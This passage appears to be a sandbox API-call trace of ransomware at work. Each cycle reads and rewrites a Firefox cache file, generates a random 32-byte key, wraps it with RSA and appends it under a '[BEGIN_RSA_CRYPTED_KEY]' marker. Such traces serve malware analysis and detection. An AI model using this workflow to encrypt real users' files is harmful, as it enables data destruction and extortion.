lpNumberOfBytesRead=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0256.622] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.622] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0256.623] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x52a [0256.623] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.623] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.624] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0256.624] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0256.624] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0256.624] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="EIv1X4WO+wzfmJdPjFlNj1V3XSxQURownofWVtWpgvQ/RMjlpX5FefHqKVGF7jSX\nzi/oPI2bCcbyw5a7evZfkXT5rqZ6Nd7StZWXMjzNgk3NU9J5/7gYYzsRJFYo8Apf\ndnsc5zMER7XNvIV2ccahyBAgAyZnMGTl0QCGBVbYPpkeG8CtDpu92zBh9d08CGil\n7bLbmnxonHQQqySW+W3T2EISW9qp8I+GJWt+w9I9D0wshEufmvhxdf9wLfequ3zZ\nKZqC/kogB8KT+EEjNvxvelQY2HkeDYs+k06WEUPq/onpTbgMqR10GkazPsCBbQlZ\nb3nn8zIo+KzoH+8UVZ2SKA==\n", pcchString=0x2e3f9a8) returned 1 [0256.624] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0256.625] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.625] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.625] CloseHandle (hObject=0x1b84) returned 1 [0256.627] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0256.627] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C7038B6F0FDC598596C12BAEB97C58EDE60AE629", dwFileAttributes=0x80) returned 1 [0256.627] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xef4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xef4, lpOverlapped=0x0) returned 1 [0256.648] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.648] WriteFile (in: hFile=0x1b84, lpBuffer=0x344af50*, nNumberOfBytesToWrite=0xef4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344af50*, lpNumberOfBytesWritten=0x2e3f9b4*=0xef4, lpOverlapped=0x0) returned 1 [0256.649] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xef4 [0256.649] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.649] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.650] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0256.650] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0256.650] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0256.650] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="V0L5p6Z0ESlupCPyrAFlWT6Lpp7IoL9hAAqXEdgVQGwWdnBv3gRy7YpZiV1BVD9m\nIgjzAzXkD6X9TkGSLCVwzhYm6/dZ+pDpyQnoTmwf5mNw3LhWUK1hdS6BlczxisJC\n890BWK65HN+J3fDAv4/eKqQzDfIddQMr48nx0FbCp2nlSJ3A+bTUQaATtro+Wsg6\nG3IpivUo3NIjnvmPR9pvlLXRnhRNvMhL8O29P7lnO/lTvlm+VM92iHAShrfj16WM\nE0MEGtCM9eGl6yCzZkq9LAmGdNwN9IsyQFA6U+3GMfpUIYUwdNTKw03iirWXruTk\nPLBYM/ThWlajQ3LO14iGdA==\n", pcchString=0x2e3f9a8) returned 1 [0256.650] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0256.651] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.651] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.651] CloseHandle (hObject=0x1b84) returned 1 [0256.652] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0256.652] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C4946D9CBAAC446A50CB86F04338E6F3F959EFC5", dwFileAttributes=0x80) returned 1 [0256.653] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4f8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4f8, lpOverlapped=0x0) returned 1 [0256.678] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.678] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4f8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4f8, lpOverlapped=0x0) returned 1 [0256.679] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4f8 [0256.679] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.679] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.680] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0256.680] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0256.680] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0256.680] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Kp/dWWCkJzAprBrvgfiuYEazVt/PSCbiS9hh7kGDrt1e18tjSF38s0SQEKV/JgOb\nOzXnKzhGNRcvuvx2GAqW8PP82LUC/+A6WL7cYfz259fKw+GOBaghz1zVhj4SKLPC\nghDJNQm859lpVtlPc0ggbpzSgK2mU/zIzh53CziUy84Zf9KloHzfMLMaRME/1mej\nVnM+n1BPhnVzcMSEAxz29OY2BMGWG4c+zZSbggR83ZuezmCAf8NzH3z2wLcstBcC\nS6+f6862QztMIiPiTM5K7JL4eK5B9hmp4tW1qmvliJU06U2Fd5ynzmMhyn4ZaPHx\nyTRuX8kkroxwmL/t7lMehw==\n", pcchString=0x2e3f9a8) returned 1 [0256.680] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0256.680] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.680] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.681] CloseHandle (hObject=0x1b84) returned 1 [0256.684] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0256.684] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C48DF70BC4FC8DF627B3B46AE09DA5FC5FFE286D", dwFileAttributes=0x80) returned 1 [0256.684] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x15f4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x15f4, lpOverlapped=0x0) returned 1 [0256.734] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-5620, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.734] WriteFile (in: hFile=0x1b84, lpBuffer=0x344b650*, nNumberOfBytesToWrite=0x15f4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344b650*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15f4, lpOverlapped=0x0) returned 1 [0256.735] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x15f4 [0256.735] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.735] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.735] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0256.735] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0256.735] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0256.735] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="dYx2yKhnPLNNYTd0nJqVfGJEZJLOIqpQrNmcc/98rSiDvewMicYOayXOk+yNssoN\nyvJV+kXsvCiZpBYo1HuOyUG4VAtfcCjnIx4Yjuz+7GQsWRnistC2LpxgWbi9Lzei\nKYHoJOr78R/HDNpaMB+0TJF+96noG8fl/24xUKp3/kTfUXb2OdM1nB7kGcGGRRPr\ndl4I20dFYDStwqh7xR8AaEn85nSJdnD0xc2slLc2oEs76hC8PEFLkFpY5iOMxx6b\n8itwhXc0DTh8SA3X6V76Hjp2ECkKphi//EmKgBazFMd8x6y25VNz4Ro80oQUgKYW\neQiFCGDLZjWdF8ro4525qQ==\n", pcchString=0x2e3f9a8) returned 1 [0256.736] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0256.736] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.736] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.736] CloseHandle (hObject=0x1b84) returned 1 [0256.738] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0256.738] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C34295E06C2E3C7E0155AEF8ADE68423AA50A844", dwFileAttributes=0x80) returned 1 [0256.739] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xefa, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xefa, lpOverlapped=0x0) returned 1 [0256.741] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.742] WriteFile (in: hFile=0x1b84, lpBuffer=0x344af58*, nNumberOfBytesToWrite=0xefa, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344af58*, lpNumberOfBytesWritten=0x2e3f9b4*=0xefa, lpOverlapped=0x0) returned 1 [0256.743] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xefa [0256.743] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.743] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.743] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0256.743] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0256.744] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0256.744] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="b3ACmmdPbmVTGuMBdfj8VifXGJdHSiV1yBE7EaHrirBreBcVDzGuxa76JiEW5XuY\nqjQUL38KmwhKsV131bLXI1l6QPjmycJkg9b9X41qbrqQQsiyNku+g/CHrCO2gYbL\nI6IddSvfHEhQF2hyfkJ1VBKWy+OHn3N9OQcZgB3fZhUBNsDiVrLtwP2SRo3ob0wX\neNWyN0WmGr/jQthIuDmXOTbcpd+gFULVxj7akXbUgQ1+HveBzgOMhhu0sHWj/HEL\ndAIFO2memHZs/J8O4JqTeEeopoK4XCq0hK2eXy0XZkihhrZbSVtgc4w/jTsNUxqX\npBrrnDEEC8hFiqFx99VlSg==\n", pcchString=0x2e3f9a8) returned 1 [0256.744] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0256.744] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.744] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.745] CloseHandle (hObject=0x1b84) returned 1 [0256.746] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0256.746] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C3357B699A03D6C47624A0BC4184ED6E2B8D6443", dwFileAttributes=0x80) returned 1 [0256.747] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x3545, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x3545, lpOverlapped=0x0) returned 1 [0256.865] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-13637, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.865] WriteFile (in: hFile=0x1b84, lpBuffer=0x344d5a0*, nNumberOfBytesToWrite=0x3545, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344d5a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3545, lpOverlapped=0x0) returned 1 [0256.866] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3545 [0256.866] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.866] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.867] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0256.867] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0256.867] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0256.867] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="85bhw6/lJRUyfhT6tsUEKvM0RNhXlPFGh9P+YMcTnl2jkI2xtv9MghBH1wmHxyjN\nYrzlxoZj0J/4oLakCfeQtUBv4e9xnaWqG+h7ev8ncLAWhnV4tY5DFnftkpolRIw2\nJL5Kp4aWhzk43K1PY5AXrdqVa6Fn0MbRzCkQaUuE4VdahrP+En1ydZGyuzFRoMCH\ndDFu+b1GxW08AfhLADU4meOXtOtftFD4SsNpAaGZw+VZCD2RAj+0q1dbbbnmVYS1\njp5mrl1MbG9cJNrxa3XETOEfrUCc9JPmDEd4SNWZgqJJS52XHINvkvBVayZJxse2\ngpquWW+5gyGMtYi6Hf8uWg==\n", pcchString=0x2e3f9a8) returned 1 [0256.867] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0256.892] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.892] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.892] CloseHandle (hObject=0x1b84) returned 1 [0256.894] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0256.894] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C27D7A62FCB3822B15FE7A889EAC6EBCB8E81A80", dwFileAttributes=0x80) returned 1 [0256.895] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x156d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x156d, lpOverlapped=0x0) returned 1 [0256.926] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-5485, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.926] WriteFile (in: hFile=0x1b84, lpBuffer=0x344b5c8*, nNumberOfBytesToWrite=0x156d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344b5c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x156d, lpOverlapped=0x0) returned 1 [0256.927] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x156d [0256.927] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.927] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.928] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0256.928] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0256.928] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0256.928] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Psdde510c0B8xB1ieaAbC6R5bacY9GsJ+re559xbJfbXwqestUZ/FEpIwNz19kvz\nyi2jTSCaJb6etoM1A/agZKV5YHl/AHOjhsCb0+2n8bm+po/URdBxJa2GbHEJiktW\n81ddSD9+ckVTBclultqYkCaJzUHb+BRhxvULvNttQEhh5aPDsFKJ0IVyj5S+Jn30\nCHT9BDt0OkL2vDHfbaHqI+SsFPjBxTVSTzTcDHU8KP+HlrMV9/cruaQkFRn58myl\nuFNauenR1t0JWRw/bgEod/yoTsT+Ub+ihkL07ZCB6dcWv9CZkbtM+ztlmNSjUt/J\n5JGaeNgQCYvhTzJ9ni6flQ==\n", pcchString=0x2e3f9a8) returned 1 [0256.928] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0256.928] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.928] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.928] CloseHandle (hObject=0x1b84) returned 1 [0256.930] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0256.930] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C17F8EF9C7C1D479AB4CF2451B11109A30A54952", dwFileAttributes=0x80) returned 1 [0256.930] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x21a0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, 